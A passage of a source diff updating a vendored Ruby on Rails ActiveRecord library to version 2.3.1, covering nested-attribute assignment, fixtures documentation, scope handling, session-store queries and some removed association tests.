initialize(app) + @app = app + end + + def call(env) + @app.call(env) + ensure + # Don't return connection (and peform implicit rollback) if + # this request is a part of integration test + unless env.key?("rack.test") + ActiveRecord::Base.clear_active_connections! + end + end + end end end diff --git a/vendor/rails/activerecord/lib/active_record/connection_adapters/abstract/schema_definitions.rb b/vendor/rails/activerecord/lib/active_record/connection_adapters/abstract/schema_definitions.rb index 273f823e..24c734cd 100644 --- a/vendor/rails/activerecord/lib/active_record/connection_adapters/abstract/schema_definitions.rb +++ b/vendor/rails/activerecord/lib/active_record/connection_adapters/abstract/schema_definitions.rb @@ -8,6 +8,7 @@ module ActiveRecord # An abstract definition of a column in a table. class Column TRUE_VALUES = [true, 1, '1', 't', 'T', 'true', 'TRUE'].to_set + FALSE_VALUES = [false, 0, '0', 'f', 'F', 'false', 'FALSE'].to_set module Format ISO_DATE = /\A(\d{4})-(\d\d)-(\d\d)\z/ diff --git a/vendor/rails/activerecord/lib/active_record/fixtures.rb b/vendor/rails/activerecord/lib/active_record/fixtures.rb index 0131d9fa..c6501113 100644 --- a/vendor/rails/activerecord/lib/active_record/fixtures.rb +++ b/vendor/rails/activerecord/lib/active_record/fixtures.rb @@ -21,13 +21,17 @@ else end end -# Fixtures are a way of organizing data that you want to test against; in short, sample data. They come in 3 flavors: +# Fixtures are a way of organizing data that you want to test against; in short, sample data. +# +# = Fixture formats +# +# Fixtures come in 3 flavors: # # 1. YAML fixtures # 2. CSV fixtures # 3. Single-file fixtures # -# = YAML fixtures +# == YAML fixtures # # This type of fixture is in YAML format and the preferred default. YAML is a file format which describes data structures # in a non-verbose, human-readable format. It ships with Ruby 1.8.1+. @@ -65,9 +69,9 @@ end # parent_id: 1 # title: Child # -# = CSV fixtures +# == CSV fixtures # -# Fixtures can also be kept in the Comma Separated Value format. Akin to YAML fixtures, CSV fixtures are stored +# Fixtures can also be kept in the Comma Separated Value (CSV) format. Akin to YAML fixtures, CSV fixtures are stored # in a single file, but instead end with the .csv file extension # (Rails example: /test/fixtures/web_sites.csv). # @@ -90,7 +94,7 @@ end # Most databases and spreadsheets support exporting to CSV format, so this is a great format for you to choose if you # have existing data somewhere already. # -# = Single-file fixtures +# == Single-file fixtures # # This type of fixture was the original format for Active Record that has since been deprecated in favor of the YAML and CSV formats. # Fixtures for this format are created by placing text files in a sub-directory (with the name of the model) to the directory @@ -113,66 +117,54 @@ end # name => Ruby on Rails # url => http://www.rubyonrails.org # -# = Using Fixtures +# = Using fixtures in testcases # # Since fixtures are a testing construct, we use them in our unit and functional tests. There are two ways to use the # fixtures, but first let's take a look at a sample unit test: # -# require 'web_site' +# require 'test_helper' # # class WebSiteTest < ActiveSupport::TestCase -# def test_web_site_count +# test "web_site_count" do # assert_equal 2, WebSite.count # end # end # -# As it stands, unless we pre-load the web_site table in our database with two records, this test will fail. Here's the -# easiest way to add fixtures to the database: -# -# ... -# class WebSiteTest < ActiveSupport::TestCase -# fixtures :web_sites # add more by separating the symbols with commas -# ... -# -# By adding a "fixtures" method to the test case and passing it a list of symbols (only one is shown here though), we trigger -# the testing environment to automatically load the appropriate fixtures into the database before each test. +# By default, the test_helper module will load all of your fixtures into your test database, so this test will succeed. +# The testing environment will automatically load the all fixtures into the database before each test. # To ensure consistent data, the environment deletes the fixtures before running the load. # -# In addition to being available in the database, the fixtures are also loaded into a hash stored in an instance variable -# of the test case. It is named after the symbol... so, in our example, there would be a hash available called -# @web_sites. This is where the "fixture name" comes into play. +# In addition to being available in the database, the fixture's data may also be accessed by +# using a special dynamic method, which has the same name as the model, and accepts the +# name of the fixture to instantiate: # -# On top of that, each record is automatically "found" (using Model.find(id)) and placed in the instance variable of its name. -# So for the YAML fixtures, we'd get @rubyonrails and @google, which could be interrogated using regular Active Record semantics: -# -# # test if the object created from the fixture data has the same attributes as the data itself -# def test_find -# assert_equal @web_sites["rubyonrails"]["name"], @rubyonrails.name -# end -# -# As seen above, the data hash created from the YAML fixtures would have @web_sites["rubyonrails"]["url"] return -# "http://www.rubyonrails.org" and @web_sites["google"]["name"] would return "Google". The same fixtures, but loaded -# from a CSV fixture file, would be accessible via @web_sites["web_site_1"]["name"] == "Ruby on Rails" and have the individual -# fixtures available as instance variables @web_site_1 and @web_site_2. -# -# If you do not wish to use instantiated fixtures (usually for performance reasons) there are two options. -# -# - to completely disable instantiated fixtures: -# self.use_instantiated_fixtures = false -# -# - to keep the fixture instance (@web_sites) available, but do not automatically 'find' each instance: -# self.use_instantiated_fixtures = :no_instances -# -# Even if auto-instantiated fixtures are disabled, you can still access them -# by name via special dynamic methods. Each method has the same name as the -# model, and accepts the name of the fixture to instantiate: -# -# fixtures :web_sites -# -# def test_find +# test "find" do # assert_equal "Ruby on Rails", web_sites(:rubyonrails).name # end # +# Alternatively, you may enable auto-instantiation of the fixture data. For instance, take the following tests: +# +# test "find_alt_method_1" do +# assert_equal "Ruby on Rails", @web_sites['rubyonrails']['name'] +# end +# +# test "find_alt_method_2" do +# assert_equal "Ruby on Rails", @rubyonrails.news +# end +# +# In order to use these methods to access fixtured data within your testcases, you must specify one of the +# following in your ActiveSupport::TestCase-derived class: +# +# - to fully enable instantiated fixtures (enable alternate methods #1 and #2 above) +# self.use_instantiated_fixtures = true +# +# - create only the hash for the fixtures, do not 'find' each instance (enable alternate method #1 only) +# self.use_instantiated_fixtures = :no_instances +# +# Using either of these alternate methods incurs a performance hit, as the fixtured data must be fully +# traversed in the database to create the fixture hash and/or instance variables. This is expensive for +# large sets of fixtured data. +# # = Dynamic fixtures with ERb # # Some times you don't care about the content of the fixtures as much as you care about the volume. In these cases, you can @@ -194,21 +186,17 @@ end # = Transactional fixtures # # TestCases can use begin+rollback to isolate their changes to the database instead of having to delete+insert for every test case. -# They can also turn off auto-instantiation of fixture data since the feature is costly and often unused. # # class FooTest < ActiveSupport::TestCase # self.use_transactional_fixtures = true -# self.use_instantiated_fixtures = false # -# fixtures :foos -# -# def test_godzilla +# test "godzilla" do # assert !Foo.find(:all).empty? # Foo.destroy_all # assert Foo.find(:all).empty? # end # -# def test_godzilla_aftermath +# test "godzilla aftermath" do # assert !Foo.find(:all).empty? # end # end @@ -220,24 +208,25 @@ end # access to fixture data for every table that has been loaded through fixtures (depending on the value of +use_instantiated_fixtures+) # # When *not* to use transactional fixtures: -# 1. You're testing whether a transaction works correctly. Nested transactions don't commit until all parent transactions commit, -# particularly, the fixtures transaction which is begun in setup and rolled back in teardown. Thus, you won't be able to verify -# the results of your transaction until Active Record supports nested transactions or savepoints (in progress). -# 2. Your database does not support transactions. Every Active Record database supports transactions except MySQL MyISAM. -# Use InnoDB, MaxDB, or NDB instead. +# +# 1. You're testing whether a transaction works correctly. Nested transactions don't commit until all parent transactions commit, +# particularly, the fixtures transaction which is begun in setup and rolled back in teardown. Thus, you won't be able to verify +# the results of your transaction until Active Record supports nested transactions or savepoints (in progress). +# 2. Your database does not support transactions. Every Active Record database supports transactions except MySQL MyISAM. +# Use InnoDB, MaxDB, or NDB instead. # # = Advanced YAML Fixtures # # YAML fixtures that don't specify an ID get some extra features: # -# * Stable, autogenerated ID's +# * Stable, autogenerated IDs # * Label references for associations (belongs_to, has_one, has_many) # * HABTM associations as inline lists # * Autofilled timestamp columns # * Fixture label interpolation # * Support for YAML defaults # -# == Stable, autogenerated ID's +# == Stable, autogenerated IDs # # Here, have a monkey fixture: # @@ -292,7 +281,7 @@ end # # Add a few more monkeys and pirates and break this into multiple files, # and it gets pretty hard to keep track of what's going on. Let's -# use labels instead of ID's: +# use labels instead of IDs: # # ### in pirates.yml # diff --git a/vendor/rails/activerecord/lib/active_record/migration.rb b/vendor/rails/activerecord/lib/active_record/migration.rb index 15350cf1..657acd6d 100644 --- a/vendor/rails/activerecord/lib/active_record/migration.rb +++ b/vendor/rails/activerecord/lib/active_record/migration.rb @@ -338,6 +338,10 @@ module ActiveRecord self.verbose = save end + def connection + ActiveRecord::Base.connection + end + def method_missing(method, *arguments, &block) arg_list = arguments.map(&:inspect) * ', ' @@ -345,7 +349,7 @@ module ActiveRecord unless arguments.empty? || method == :execute arguments[0] = Migrator.proper_table_name(arguments.first) end - ActiveRecord::Base.connection.send(method, *arguments, &block) + connection.send(method, *arguments, &block) end end end diff --git a/vendor/rails/activerecord/lib/active_record/named_scope.rb b/vendor/rails/activerecord/lib/active_record/named_scope.rb index 989b2a1e..8a7449f9 100644 --- a/vendor/rails/activerecord/lib/active_record/named_scope.rb +++ b/vendor/rails/activerecord/lib/active_record/named_scope.rb @@ -1,11 +1,12 @@ module ActiveRecord module NamedScope - # All subclasses of ActiveRecord::Base have two named \scopes: - # * all - which is similar to a find(:all) query, and + # All subclasses of ActiveRecord::Base have one named scope: # * scoped - which allows for the creation of anonymous \scopes, on the fly: Shirt.scoped(:conditions => {:color => 'red'}).scoped(:include => :washing_instructions) # # These anonymous \scopes tend to be useful when procedurally generating complex queries, where passing # intermediate values (scopes) around as first-class objects is convenient. + # + # You can define a scope that applies to all finders using ActiveRecord::Base.default_scope. def self.included(base) base.class_eval do extend ClassMethods @@ -100,7 +101,7 @@ module ActiveRecord end class Scope - attr_reader :proxy_scope, :proxy_options + attr_reader :proxy_scope, :proxy_options, :current_scoped_methods_when_defined NON_DELEGATE_METHODS = %w(nil? send object_id class extend find size count sum average maximum minimum paginate first last empty? any? respond_to?).to_set [].methods.each do |m| unless m =~ /^__/ || NON_DELEGATE_METHODS.include?(m.to_s) @@ -113,6 +114,9 @@ module ActiveRecord def initialize(proxy_scope, options, &block) [options[:extend]].flatten.each { |extension| extend extension } if options[:extend] extend Module.new(&block) if block_given? + unless Scope === proxy_scope + @current_scoped_methods_when_defined = proxy_scope.send(:current_scoped_methods) + end @proxy_scope, @proxy_options = proxy_scope, options.except(:extend) end @@ -168,7 +172,13 @@ module ActiveRecord else with_scope :find => proxy_options, :create => proxy_options[:conditions].is_a?(Hash) ? proxy_options[:conditions] : {} do method = :new if method == :build - proxy_scope.send(method, *args, &block) + if current_scoped_methods_when_defined + with_scope current_scoped_methods_when_defined do + proxy_scope.send(method, *args, &block) + end + else + proxy_scope.send(method, *args, &block) + end end end end diff --git a/vendor/rails/activerecord/lib/active_record/nested_attributes.rb b/vendor/rails/activerecord/lib/active_record/nested_attributes.rb index 8bfdadd0..e3122d19 100644 --- a/vendor/rails/activerecord/lib/active_record/nested_attributes.rb +++ b/vendor/rails/activerecord/lib/active_record/nested_attributes.rb @@ -41,15 +41,16 @@ module ActiveRecord # Enabling nested attributes on a one-to-one association allows you to # create the member and avatar in one go: # - # params = { 'member' => { 'name' => 'Jack', 'avatar_attributes' => { 'icon' => 'smiling' } } } + # params = { :member => { :name => 'Jack', :avatar_attributes => { :icon => 'smiling' } } } # member = Member.create(params) - # member.avatar.icon #=> 'smiling' + # member.avatar.id # => 2 + # member.avatar.icon # => 'smiling' # # It also allows you to update the avatar through the member: # - # params = { 'member' => { 'avatar_attributes' => { 'icon' => 'sad' } } } + # params = { :member' => { :avatar_attributes => { :id => '2', :icon => 'sad' } } } # member.update_attributes params['member'] - # member.avatar.icon #=> 'sad' + # member.avatar.icon # => 'sad' # # By default you will only be able to set and update attributes on the # associated model. If you want to destroy the associated model through the @@ -64,7 +65,7 @@ module ActiveRecord # Now, when you add the _delete key to the attributes hash, with a # value that evaluates to +true+, you will destroy the associated model: # - # member.avatar_attributes = { '_delete' => '1' } + # member.avatar_attributes = { :id => '2', :_delete => '1' } # member.avatar.marked_for_destruction? # => true # member.save # member.avatar #=> nil @@ -77,58 +78,80 @@ module ActiveRecord # # class Member < ActiveRecord::Base # has_many :posts - # accepts_nested_attributes_for :posts, :reject_if => proc { |attributes| attributes['title'].blank? } + # accepts_nested_attributes_for :posts # end # # You can now set or update attributes on an associated post model through # the attribute hash. # - # For each key in the hash that starts with the string 'new' a new model - # will be instantiated. When the proc given with the :reject_if - # option evaluates to +false+ for a certain attribute hash no record will - # be built for that hash. + # For each hash that does _not_ have an id key a new record will + # be instantiated, unless the hash also contains a _delete key + # that evaluates to +true+. # - # params = { 'member' => { - # 'name' => 'joe', 'posts_attributes' => { - # 'new_12345' => { 'title' => 'Kari, the awesome Ruby documentation browser!' }, - # 'new_54321' => { 'title' => 'The egalitarian assumption of the modern citizen' }, - # 'new_67890' => { 'title' => '' } # This one matches the :reject_if proc and will not be instantiated. - # } + # params = { :member => { + # :name => 'joe', :posts_attributes => [ + # { :title => 'Kari, the awesome Ruby documentation browser!' }, + # { :title => 'The egalitarian assumption of the modern citizen' }, + # { :title => '', :_delete => '1' } # this will be ignored + # ] # }} # # member = Member.create(params['member']) - # member.posts.length #=> 2 - # member.posts.first.title #=> 'Kari, the awesome Ruby documentation browser!' - # member.posts.second.title #=> 'The egalitarian assumption of the modern citizen' + # member.posts.length # => 2 + # member.posts.first.title # => 'Kari, the awesome Ruby documentation browser!' + # member.posts.second.title # => 'The egalitarian assumption of the modern citizen' # - # When the key for post attributes is an integer, the associated post with - # that ID will be updated: + # You may also set a :reject_if proc to silently ignore any new record + # hashes if they fail to pass your criteria. For example, the previous + # example could be rewritten as: + # + # class Member < ActiveRecord::Base + # has_many :posts + # accepts_nested_attributes_for :posts, :reject_if => proc { |attributes| attributes['title'].blank? } + # end + # + # params = { :member => { + # :name => 'joe', :posts_attributes => [ + # { :title => 'Kari, the awesome Ruby documentation browser!' }, + # { :title => 'The egalitarian assumption of the modern citizen' }, + # { :title => '' } # this will be ignored because of the :reject_if proc + # ] + # }} + # + # member = Member.create(params['member']) + # member.posts.length # => 2 + # member.posts.first.title # => 'Kari, the awesome Ruby documentation browser!' + # member.posts.second.title # => 'The egalitarian assumption of the modern citizen' + # + # If the hash contains an id key that matches an already + # associated record, the matching record will be modified: # # member.attributes = { - # 'name' => 'Joe', - # 'posts_attributes' => { - # '1' => { 'title' => '[UPDATED] An, as of yet, undisclosed awesome Ruby documentation browser!' }, - # '2' => { 'title' => '[UPDATED] other post' } - # } + # :name => 'Joe', + # :posts_attributes => [ + # { :id => 1, :title => '[UPDATED] An, as of yet, undisclosed awesome Ruby documentation browser!' }, + # { :id => 2, :title => '[UPDATED] other post' } + # ] # } # - # By default the associated models are protected from being destroyed. If - # you want to destroy any of the associated models through the attributes - # hash, you have to enable it first using the :allow_destroy - # option. + # member.posts.first.title # => '[UPDATED] An, as of yet, undisclosed awesome Ruby documentation browser!' + # member.posts.second.title # => '[UPDATED] other post' # - # This will allow you to specify which models to destroy in the attributes - # hash by setting the '_delete' attribute to a value that evaluates to - # +true+: + # By default the associated records are protected from being destroyed. If + # you want to destroy any of the associated records through the attributes + # hash, you have to enable it first using the :allow_destroy + # option. This will allow you to also use the _delete key to + # destroy existing records: # # class Member < ActiveRecord::Base # has_many :posts # accepts_nested_attributes_for :posts, :allow_destroy => true # end # - # params = {'member' => { 'name' => 'joe', 'posts_attributes' => { - # '2' => { '_delete' => '1' } - # }}} + # params = { :member => { + # :posts_attributes => [{ :id => '2', :_delete => '1' }] + # }} + # # member.attributes = params['member'] # member.posts.detect { |p| p.id == 2 }.marked_for_destruction? # => true # member.posts.length #=> 2 @@ -142,24 +165,27 @@ module ActiveRecord # the parent model is saved. This happens inside the transaction initiated # by the parents save method. See ActiveRecord::AutosaveAssociation. module ClassMethods - # Defines an attributes writer for the specified association(s). + # Defines an attributes writer for the specified association(s). If you + # are using attr_protected or attr_accessible, then you + # will need to add the attribute writer to the allowed list. # # Supported options: # [:allow_destroy] # If true, destroys any members from the attributes hash with a - # _delete key and a value that converts to +true+ + # _delete key and a value that evaluates to +true+ # (eg. 1, '1', true, or 'true'). This option is off by default. # [:reject_if] # Allows you to specify a Proc that checks whether a record should be # built for a certain attribute hash. The hash is passed to the Proc # and the Proc should return either +true+ or +false+. When no Proc - # is specified a record will be built for all attribute hashes. + # is specified a record will be built for all attribute hashes that + # do not have a _delete that evaluates to true. # # Examples: - # accepts_nested_attributes_for :avatar - # accepts_nested_attributes_for :avatar, :allow_destroy => true - # accepts_nested_attributes_for :avatar, :reject_if => proc { ... } - # accepts_nested_attributes_for :avatar, :posts, :allow_destroy => true, :reject_if => proc { ... } + # # creates avatar_attributes= + # accepts_nested_attributes_for :avatar, :reject_if => proc { |attributes| attributes['name'].blank? } + # # creates avatar_attributes= and posts_attributes= + # accepts_nested_attributes_for :avatar, :posts, :allow_destroy => true def accepts_nested_attributes_for(*attr_names) options = { :allow_destroy => false } options.update(attr_names.extract_options!) @@ -192,9 +218,9 @@ module ActiveRecord end end - # Returns ActiveRecord::AutosaveAssociation::marked_for_destruction? - # It's used in conjunction with fields_for to build a form element - # for the destruction of this association. + # Returns ActiveRecord::AutosaveAssociation::marked_for_destruction? It's + # used in conjunction with fields_for to build a form element for the + # destruction of this association. # # See ActionView::Helpers::FormHelper::fields_for for more info. def _delete @@ -203,77 +229,101 @@ module ActiveRecord private - # Assigns the given attributes to the association. An association will be - # build if it doesn't exist yet. + # Attribute hash keys that should not be assigned as normal attributes. + # These hash keys are nested attributes implementation details. + UNASSIGNABLE_KEYS = %w{ id _delete } + + # Assigns the given attributes to the association. + # + # If the given attributes include an :id that matches the existing + # record’s id, then the existing record will be modified. Otherwise a new + # record will be built. + # + # If the given attributes include a matching :id attribute _and_ a + # :_delete key set to a truthy value, then the existing record + # will be marked for destruction. def assign_nested_attributes_for_one_to_one_association(association_name, attributes, allow_destroy) - if should_destroy_nested_attributes_record?(allow_destroy, attributes) - send(association_name).mark_for_destruction - else - (send(association_name) || send("build_#{association_name}")).attributes = attributes + attributes = attributes.stringify_keys + + if attributes['id'].blank? + unless reject_new_record?(association_name, attributes) + send("build_#{association_name}", attributes.except(*UNASSIGNABLE_KEYS)) + end + elsif (existing_record = send(association_name)) && existing_record.id.to_s == attributes['id'].to_s + assign_to_or_mark_for_destruction(existing_record, attributes, allow_destroy) end end # Assigns the given attributes to the collection association. # - # Keys containing an ID for an associated record will update that record. - # Keys starting with new will instantiate a new record for that - # association. + # Hashes with an :id value matching an existing associated record + # will update that record. Hashes without an :id value will build + # a new record for the association. Hashes with a matching :id + # value and a :_delete key set to a truthy value will mark the + # matched record for destruction. # # For example: # # assign_nested_attributes_for_collection_association(:people, { - # '1' => { 'name' => 'Peter' }, - # 'new_43' => { 'name' => 'John' } + # '1' => { :id => '1', :name => 'Peter' }, + # '2' => { :name => 'John' }, + # '3' => { :id => '2', :_delete => true } # }) # - # Will update the name of the Person with ID 1 and create a new associated - # person with the name 'John'. - def assign_nested_attributes_for_collection_association(association_name, attributes, allow_destroy) - unless attributes.is_a?(Hash) - raise ArgumentError, "Hash expected, got #{attributes.class.name} (#{attributes.inspect})" + # Will update the name of the Person with ID 1, build a new associated + # person with the name `John', and mark the associatied Person with ID 2 + # for destruction. + # + # Also accepts an Array of attribute hashes: + # + # assign_nested_attributes_for_collection_association(:people, [ + # { :id => '1', :name => 'Peter' }, + # { :name => 'John' }, + # { :id => '2', :_delete => true } + # ]) + def assign_nested_attributes_for_collection_association(association_name, attributes_collection, allow_destroy) + unless attributes_collection.is_a?(Hash) || attributes_collection.is_a?(Array) + raise ArgumentError, "Hash or Array expected, got #{attributes_collection.class.name} (#{attributes_collection.inspect})" end - # Make sure any new records sorted by their id before they're build. - sorted_by_id = attributes.sort_by { |id, _| id.is_a?(String) ? id.sub(/^new_/, '').to_i : id } + if attributes_collection.is_a? Hash + attributes_collection = attributes_collection.sort_by { |index, _| index.to_i }.map { |_, attributes| attributes } + end - sorted_by_id.each do |id, record_attributes| - if id.acts_like?(:string) && id.starts_with?('new_') - build_new_nested_attributes_record(association_name, record_attributes) - else - assign_to_or_destroy_nested_attributes_record(association_name, id, record_attributes, allow_destroy) + attributes_collection.each do |attributes| + attributes = attributes.stringify_keys + + if attributes['id'].blank? + unless reject_new_record?(association_name, attributes) + send(association_name).build(attributes.except(*UNASSIGNABLE_KEYS)) + end + elsif existing_record = send(association_name).detect { |record| record.id.to_s == attributes['id'].to_s } + assign_to_or_mark_for_destruction(existing_record, attributes, allow_destroy) end end end - # Returns +true+ if allow_destroy is enabled and the attributes - # contains a truthy value for the key '_delete'. - # - # It will _always_ remove the '_delete' key, if present. - def should_destroy_nested_attributes_record?(allow_destroy, attributes) - ConnectionAdapters::Column.value_to_boolean(attributes.delete('_delete')) && allow_destroy - end - - # Builds a new record with the given attributes. - # - # If a :reject_if proc exists for this association, it will be - # called with the attributes as its argument. If the proc returns a truthy - # value, the record is _not_ build. - def build_new_nested_attributes_record(association_name, attributes) - if reject_proc = self.class.reject_new_nested_attributes_procs[association_name] - return if reject_proc.call(attributes) - end - send(association_name).build(attributes) - end - - # Assigns the attributes to the record specified by +id+. Or marks it for - # destruction if #should_destroy_nested_attributes_record? returns +true+. - def assign_to_or_destroy_nested_attributes_record(association_name, id, attributes, allow_destroy) - record = send(association_name).detect { |record| record.id == id.to_i } - if should_destroy_nested_attributes_record?(allow_destroy, attributes) + # Updates a record with the +attributes+ or marks it for destruction if + # +allow_destroy+ is +true+ and has_delete_flag? returns +true+. + def assign_to_or_mark_for_destruction(record, attributes, allow_destroy) + if has_delete_flag?(attributes) && allow_destroy record.mark_for_destruction else - record.attributes = attributes + record.attributes = attributes.except(*UNASSIGNABLE_KEYS) end end + + # Determines if a hash contains a truthy _delete key. + def has_delete_flag?(hash) + ConnectionAdapters::Column.value_to_boolean hash['_delete'] + end + + # Determines if a new record should be build by checking for + # has_delete_flag? or if a :reject_if proc exists for this + # association and evaluates to +true+. + def reject_new_record?(association_name, attributes) + has_delete_flag?(attributes) || + self.class.reject_new_nested_attributes_procs[association_name].try(:call, attributes) + end end -end \ No newline at end of file +end diff --git a/vendor/rails/activerecord/lib/active_record/session_store.rb b/vendor/rails/activerecord/lib/active_record/session_store.rb index 5e45cf65..de199d30 100644 --- a/vendor/rails/activerecord/lib/active_record/session_store.rb +++ b/vendor/rails/activerecord/lib/active_record/session_store.rb @@ -99,7 +99,7 @@ module ActiveRecord define_method(:session_id=) { |session_id| self.sessid = session_id } else def self.find_by_session_id(session_id) - find :first, :conditions => ["session_id #{attribute_condition(session_id)}", session_id] + find :first, :conditions => {:session_id=>session_id} end end end diff --git a/vendor/rails/activerecord/lib/active_record/validations.rb b/vendor/rails/activerecord/lib/active_record/validations.rb index ce93b0f2..8f3c8056 100644 --- a/vendor/rails/activerecord/lib/active_record/validations.rb +++ b/vendor/rails/activerecord/lib/active_record/validations.rb @@ -744,7 +744,7 @@ module ActiveRecord if scope = configuration[:scope] Array(scope).map do |scope_item| scope_value = record.send(scope_item) - condition_sql << " AND #{record.class.quoted_table_name}.#{scope_item} #{attribute_condition(scope_value)}" + condition_sql << " AND " << attribute_condition("#{record.class.quoted_table_name}.#{scope_item}", scope_value) condition_params << scope_value end end diff --git a/vendor/rails/activerecord/lib/active_record/version.rb b/vendor/rails/activerecord/lib/active_record/version.rb index 6ac4bdc9..809e9189 100644 --- a/vendor/rails/activerecord/lib/active_record/version.rb +++ b/vendor/rails/activerecord/lib/active_record/version.rb @@ -2,7 +2,7 @@ module ActiveRecord module VERSION #:nodoc: MAJOR = 2 MINOR = 3 - TINY = 0 + TINY = 1 STRING = [MAJOR, MINOR, TINY].join('.') end diff --git a/vendor/rails/activerecord/test/cases/associations/belongs_to_associations_test.rb b/vendor/rails/activerecord/test/cases/associations/belongs_to_associations_test.rb index 40a85039..92ed465a 100644 --- a/vendor/rails/activerecord/test/cases/associations/belongs_to_associations_test.rb +++ b/vendor/rails/activerecord/test/cases/associations/belongs_to_associations_test.rb @@ -190,19 +190,6 @@ class BelongsToAssociationsTest < ActiveRecord::TestCase assert_equal 1, Topic.find(topic.id).send(:read_attribute, "replies_count") end - def test_assignment_before_parent_saved - client = Client.find(:first) - apple = Firm.new("name" => "Apple") - client.firm = apple - assert_equal apple, client.firm - assert apple.new_record? - assert client.save - assert apple.save - assert !apple.new_record? - assert_equal apple, client.firm - assert_equal apple, client.firm(true) - end - def test_assignment_before_child_saved final_cut = Client.new("name" => "Final Cut") firm = Firm.find(1) @@ -215,19 +202,6 @@ class BelongsToAssociationsTest < ActiveRecord::TestCase assert_equal firm, final_cut.firm(true) end - def test_assignment_before_either_saved - final_cut = Client.new("name" => "Final Cut") - apple = Firm.new("name" => "Apple") - final_cut.firm = apple - assert final_cut.new_record? - assert apple.new_record? - assert final_cut.save - assert !final_cut.new_record? - assert !apple.new_record? - assert_equal apple, final_cut.firm - assert_equal apple, final_cut.firm(true) - end - def test_new_record_with_foreign_key_but_no_object c = Client.new("firm_id" => 1) assert_equal Firm.find(:first), c.firm_with_basic_id @@ -274,90 +248,6 @@ class BelongsToAssociationsTest < ActiveRecord::TestCase assert_equal 17, reply.replies.size end - def test_store_two_association_with_one_save - num_orders = Order.count - num_customers = Customer.count - order = Order.new - - customer1 = order.billing = Customer.new - customer2 = order.shipping = Customer.new - assert order.save - assert_equal customer1, order.billing - assert_equal customer2, order.shipping - - order.reload - - assert_equal customer1, order.billing - assert_equal customer2, order.shipping - - assert_equal num_orders +1, Order.count - assert_equal num_customers +2, Customer.count - end - - - def test_store_association_in_two_relations_with_one_save - num_orders = Order.count - num_customers = Customer.count - order = Order.new - - customer = order.billing = order.shipping = Customer.new - assert order.save - assert_equal customer, order.billing - assert_equal customer, order.shipping - - order.reload - - assert_equal customer, order.billing - assert_equal customer, order.shipping - - assert_equal num_orders +1, Order.count - assert_equal num_customers +1, Customer.count - end - - def test_store_association_in_two_relations_with_one_save_in_existing_object - num_orders = Order.count - num_customers = Customer.count - order = Order.create - - customer = order.billing = order.shipping = Customer.new - assert order.save - assert_equal customer, order.billing - assert_equal customer, order.shipping - - order.reload - - assert_equal customer, order.billing - assert_equal customer, order.shipping - - assert_equal num_orders +1, Order.count - assert_equal num_customers +1, Customer.count - end - - def test_store_association_in_two_relations_with_one_save_in_existing_object_with_values - num_orders = Order.count - num_customers = Customer.count - order = Order.create - - customer = order.billing = order.shipping = Customer.new - assert order.save - assert_equal customer, order.billing - assert_equal customer, order.shipping - - order.reload - - customer = order.billing = order.shipping = Customer.new - - assert order.save - order.reload - - assert_equal customer, order.billing - assert_equal customer, order.shipping - - assert_equal num_orders +1, Order.count - assert_equal num_customers +2, Customer.count - end - - def test_association_assignment_sticks post = Post.find(:first) @@ -410,25 +300,6 @@ class BelongsToAssociationsTest < ActiveRecord::TestCase assert_equal nil, sponsor.sponsorable_id end - def test_save_fails_for_invalid_belongs_to - assert log = AuditLog.create(:developer_id=>0,:message=>"") - - log.developer = Developer.new - assert !log.developer.valid? - assert !log.valid? - assert !log.save - assert_equal "is invalid", log.errors.on("developer") - end - - def test_save_succeeds_for_invalid_belongs_to_with_validate_false - assert log = AuditLog.create(:developer_id=>0,:message=>"") - - log.unvalidated_developer = Developer.new - assert !log.unvalidated_developer.valid? - assert log.valid? - assert log.save - end - def test_belongs_to_proxy_should_not_respond_to_private_methods assert_raises(NoMethodError) { companies(:first_firm).private_method } assert_raises(NoMethodError) { companies(:second_client).firm.private_method } diff --git a/vendor/rails/activerecord/test/cases/associations/has_and_belongs_to_many_associations_test.rb b/vendor/rails/activerecord/test/cases/associations/has_and_belongs_to_many_associations_test.rb index 1e3b4234..0f43d97f 100644 --- a/vendor/rails/activerecord/test/cases/associations/has_and_belongs_to_many_associations_test.rb +++ b/vendor/rails/activerecord/test/cases/associations/has_and_belongs_to_many_associations_test.rb @@ -767,12 +767,10 @@ class HasAndBelongsToManyAssociationsTest < ActiveRecord::TestCase assert_equal 1, developer.projects.count end - uses_mocha 'mocking Post.transaction' do - def test_association_proxy_transaction_method_starts_transaction_in_association_class - Post.expects(:transaction) - Category.find(:first).posts.transaction do - # nothing - end + def test_association_proxy_transaction_method_starts_transaction_in_association_class + Post.expects(:transaction) + Category.find(:first).posts.transaction do + # nothing end end diff --git a/vendor/rails/activerecord/test/cases/associations/has_many_associations_test.rb b/vendor/rails/activerecord/test/cases/associations/has_many_associations_test.rb index 428fb500..5efbc5bd 100644 --- a/vendor/rails/activerecord/test/cases/associations/has_many_associations_test.rb +++ b/vendor/rails/activerecord/test/cases/associations/has_many_associations_test.rb @@ -317,81 +317,6 @@ class HasManyAssociationsTest < ActiveRecord::TestCase assert_equal 3, companies(:first_firm).clients_of_firm(true).size end - def test_adding_before_save - no_of_firms = Firm.count - no_of_clients = Client.count - - new_firm = Firm.new("name" => "A New Firm, Inc") - c = Client.new("name" => "Apple") - - new_firm.clients_of_firm.push Client.new("name" => "Natural Company") - assert_equal 1, new_firm.clients_of_firm.size - new_firm.clients_of_firm << c - assert_equal 2, new_firm.clients_of_firm.size - - assert_equal no_of_firms, Firm.count # Firm was not saved to database. - assert_equal no_of_clients, Client.count # Clients were not saved to database. - assert new_firm.save - assert !new_firm.new_record? - assert !c.new_record? - assert_equal new_firm, c.firm - assert_equal no_of_firms+1, Firm.count # Firm was saved to database. - assert_equal no_of_clients+2, Client.count # Clients were saved to database. - - assert_equal 2, new_firm.clients_of_firm.size - assert_equal 2, new_firm.clients_of_firm(true).size - end - - def test_invalid_adding - firm = Firm.find(1) - assert !(firm.clients_of_firm << c = Client.new) - assert c.new_record? - assert !firm.valid? - assert !firm.save - assert c.new_record? - end - - def test_invalid_adding_before_save - no_of_firms = Firm.count - no_of_clients = Client.count - new_firm = Firm.new("name" => "A New Firm, Inc") - new_firm.clients_of_firm.concat([c = Client.new, Client.new("name" => "Apple")]) - assert c.new_record? - assert !c.valid? - assert !new_firm.valid? - assert !new_firm.save - assert c.new_record? - assert new_firm.new_record? - end - - def test_invalid_adding_with_validate_false - firm = Firm.find(:first) - client = Client.new - firm.unvalidated_clients_of_firm << client - - assert firm.valid? - assert !client.valid? - assert firm.save - assert client.new_record? - end - - def test_valid_adding_with_validate_false - no_of_clients = Client.count - - firm = Firm.find(:first) - client = Client.new("name" => "Apple") - - assert firm.valid? - assert client.valid? - assert 